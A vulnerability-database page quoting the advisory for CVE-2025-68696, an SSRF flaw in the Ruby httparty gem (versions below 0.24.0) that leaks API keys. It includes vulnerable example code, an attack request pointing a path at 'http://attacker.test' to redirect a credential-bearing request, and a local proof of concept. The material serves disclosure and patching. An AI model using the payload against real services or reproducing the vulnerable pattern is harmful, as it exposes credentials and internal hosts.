Answer in brief
CVE-2025-68696 records a High severity (CVSS 8.2) vulnerability in httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage. The current sources do not mark it as known exploited. The current feed maps httparty (rubygems). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 8.2. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps httparty (rubygems). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| httpartyrubygems | >=0 <0.24.0 | 0.24.0 |
Published upstream
Dec 23, 2025
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Aug 7, 2026
## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { "repository_id": "http://attacker.test", "title": "test" } ``` In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`. A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463> Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin> ## PoC Follow these steps to reproduce the issue: 1. Set up two simple HTTP servers. ```bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (for example, `main.rb`): ```rb require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data ``` 3. Run the script: ```bash $ ruby main.rb this is server2 ``` Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`. ## Impact - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.
Quoted source text, attributed separately from HOL analysis.